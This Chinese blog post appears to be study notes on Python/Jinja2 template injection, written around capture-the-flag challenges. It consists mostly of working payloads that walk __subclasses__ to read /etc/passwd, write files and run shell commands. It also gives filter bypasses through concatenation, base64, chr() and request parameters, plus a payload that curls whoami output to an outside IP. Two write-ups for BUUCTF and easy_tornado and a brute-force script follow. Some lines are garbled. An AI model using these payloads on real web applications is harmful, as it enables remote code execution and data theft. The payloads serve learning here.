payload作业 有时候system函数会被过滤掉,我们就使用
1 ().__class__ .__base__ .__subclasses__ ()[71 ].__init__ .__globals__ ['os' ].listdir('.' ) #读取本级目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 获得基类#python2.7 ''.__class__ .__mro__ [2] {}.__class__ .__bases__ [0] ().__class__ .__bases__ [0] [].__class__ .__bases__ [0] request.__class__ .__mro__ [1]#python3.7 ''.__。。。class__ .__mro__ [1] {}.__class__ .__bases__ [0] ().__class__ .__bases__ [0] [].__class__ .__bases__ [0] request.__class__ .__mro__ [1]#python 2.7 #文件操作 #找到file类 [].__class__ .__bases__ [0].__subclasses__ ()[40]#读文件 [].__class__ .__bases__ [0 ].__subclasses__ ()[40 ]('/etc/passwd' ).read()#写文件 [].__class__ .__bases__ [0 ].__subclasses__ ()[40 ]('/tmp' ).write('test')#命令执行 #os执行 [].__class__ .__bases__ [0].__subclasses__ ()[59].__init__ .func_globals.linecache下有os类,可以直接执行命令: [].__class__ .__bases__ [0].__subclasses__ ()[59].__init__ .func_ globals.linecache.os.popen('id').read()#eval,impoer等全局函数 [].__class__ .__bases__ [0].__subclasses__ ()[59].__init__ .__globals__ .__builtins__ 下有eval,__import__ 等的全局函数,可以利用此来执行命令: [].__class__ .__bases__ [0 ].__subclasses__ ()[59 ].__init__ .__globals__ ['__builtins__' ]['eval' ]("__import__ ('os').popen('id').read()") [].__class__ .__bases__ [0].__subclasses__ ()[59].__init__ .__globals__ .__builtins__ .eval("__import__ ('os').popen('id').read()") [].__class__ .__bases__ [0].__subclasses__ ()[59].__init__ .__globals__ .__builtins__ .__import__ ('os').popen('id').read() [].__class__ .__bases__ [0 ].__subclasses__ ()[59 ].__init__ .__globals__ ['__builtins__' ]['__import__' ]('os').popen('id').read()#python3.7 #命令执行 {% for c in [].__class__ .__base__ .__subclasses__ () %}{% if c.__name__ =='catch_warnings' %}{{ c.__init__ .__globals__ ['__builtins__ '].eval("__import__ ('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__ .__base__ .__subclasses__ () %}{% if c.__name__ =='catch_ warnings' %}{{ c.__init__ .__globals__ ['__builtins__ '].open('filename', 'r').read() }}{% endif %}{% endfor %}#windows下的os命令 "".__class__ .__bases__ [0 ].__subclasses__ ()[118 ].__init__ .__globals__ ['popen' ]('dir' ).read()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 '' .__class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [] .__class__.__bases__[0] object ().__class__.__bases__[0] .__subclasses__ ()[40] (r'C:\1.php' ).read ()object .__subclasses__ ()[40] (r'C:\1.php' ).read () ().__class__.__bases__[0] .__subclasses__ ()[40] ('/var/www/html/input' , 'w' ).write ('123' )object .__subclasses__ ()[40] ('/var/www/html/input' , 'w' ).write ('123' ) ().__class__.__bases__[0] .__subclasses__ ()[59] .__init__.func_globals .values ()[13] ['eval' ] ('__import__("os").popen("ls /var/www/html").read()' )object .__subclasses_ _ ()[59] .__init__.func_globals .values ()[13] ['eval' ] ('__import__("os").popen("ls /var/www/html").read()' )
绕过 拼接:
1 2 object .__subclasses__ ()[59] .__init__.func_globals ['linecache' ] .__dict__['o' +'s' ] .__dict__['sy' +'stem' ] ('ls' ) ().__class__.__bases__[0] .__subclasses__ ()[40] ('r' ,'fla' +'g.txt' )).read ()
编码:
1 2 3 4 5 6 7 8 ().__class__ .__bases__ [0] .__subclasses__ ()[59] .__init__ .__globals__ .__builtins__ ['eval' ] ("__import__('os').popen ('ls').read ()") 等价于 ().__class__ .__bases__ [0] .__subclasses__ ()[59] .__init__ .__globals__ .__builtins__ ['ZXZhbA==' .decode('base64' )] ("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码) 同理还可以进行rot13、16 进制编码等
过滤中括号:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 getitem () "" .__class__.__mro__[2] "" .__class__.__mro__.__getitem__ (2 )pop () '' .__class__.__mro__.__getitem__ (2 ).__subclasses__ ().pop (40 )('/etc/passwd' ).read () 字典读取 __builtins__['eval' ] () __builtins__.eval () 经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行
过滤引号:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 先获取chr函数,赋值给chr,后面拼接字符串 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{ ().__class__.__bases__.__getitem__ (0 ).__subclasses__().pop(40 )(chr (47 )%2 bchr(101 )%2 bchr(116 )%2 bchr(99 )%2 bchr(47 )%2 bchr(112 )%2 bchr(97 )%2 bchr(115 )%2 bchr(115 )%2 bchr(119 )%2 bchr(100 )).read() }} 或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参) {{ ().__class__.__bases__.__getitem__ (0 ).__subclasses__().pop(40 )(request.args.path ).read() }} &path=/etc/passwd PS:将其中的request.args改为request.values则利用post的方式进行传参 执行命令: {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{ ().__class__.__bases__.__getitem__ (0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(chr (105 )%2 bchr(100 )).read() }} {{ ().__class__.__bases__.__getitem__ (0 ).__subclasses__().pop(59 ).__init__.func_globals.linecache.os.popen(request.args.cmd ).read() }} &cmd=id
过滤双下划线:
1 2 3 4 {{ '' [request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd' ).read()}} &class=__class__&mro=__mro__&subclasses=__subclasses__
过滤{undefined{undefined
1 {% if '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`' ).read()=='p' %} 1 {% endif %}
在url执行py格式命令:
1 2 3 4 5 6 eg: {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} {{ c("/etc/passwd").readlines() }} {% endif %} {% endfor %}
buuctf [Flask ]SSTI (1次实战) 进入页面,啥也没有,f12注释,也没有,那能想到的就是dirsearch扫了 嗯…啥也没扫出来,看看robots.txt,也没有…..
嗯,8会,看wp
get传参: name=4或者{undefined{2*2}}——–(至于为什么是name我也没找到答案) 回显是4,说明有ssti漏洞
构造payload,核心代码:
1 eval ("__import__('os').popen('type flag.txt').read()" )
os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
参考链接:
脚本找出合适的类 1 2 3 4 5 6 7 8 9 10 11 12 import requests as resimport timefor i in range (0 ,400 ): url="http://61ef7259-23f5-43b3-8a0d-111f2e8a2c17.node3.buuoj.cn/?search={{''.__class__.__base__.__base__.__subclasses__()[%d].__init__.__globals__}}" response=res.get(url%i) if response.status_code!=200 : time.sleep(0.3 ) response=res.get(url%i) print (len (response.text),i,response.status_code)
实战 [护网杯 2018]easy_tornado tornado是Python下的1个web模板框架 进入页面,发现以下可访问项: /flag.txt /welcome.txt /hints.txt 分别访问,结果如下: 页面: /file?filename=/flag.txt&filehash=5623eec5b6308052633aef08ea7d497a 结果: /flag.txt flag in /fllllllllllllag
页面: /file?filename=/welcome.txt&filehash=086cb0e1be24629a233966b3131a3443 结果: /welcome.txt render
页面: /file?filename=/hints.txt&filehash=0af2fd6996c0cf35b0f7d6f3bd8b29b0 结果: /hints.txt md5(cookie_secret+md5(filename))
这个hint….有啥用? cookie_secret: balabala,说白了就是对文件进行哈希验证 思路: 根据观察hints.txt以及url的参数得知,需要找到cookie_secret,然后和md5(filename)拼接才能通过验证,查看flag
存在msg参数(这个msg参数是怎么来的呢? 是发现在尝试注入报错后会返回这么个东西: http://42f63a3c-968f-48fa-a487-ae00bcb04161.node4.buuoj.cn:81/error?msg=Error ) 那么cookie_secret怎么来的呢? 这就考验你查阅官方文档(全tm英文)的能力了
构造payload: error?msg= (这handler是啥我也8么学,看wp的) 就阔以获得cookie_secret了: {‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘3f239178-c592-4337-9b6a-4bf7d50d3a25’}
md5(filename): 3bf9f6cf685a6dd8defadabfb41a03a1 md5(cookie_secret+md5(filename)): b5c5087056961d3c3b65dd600d92d43b 成功得到flag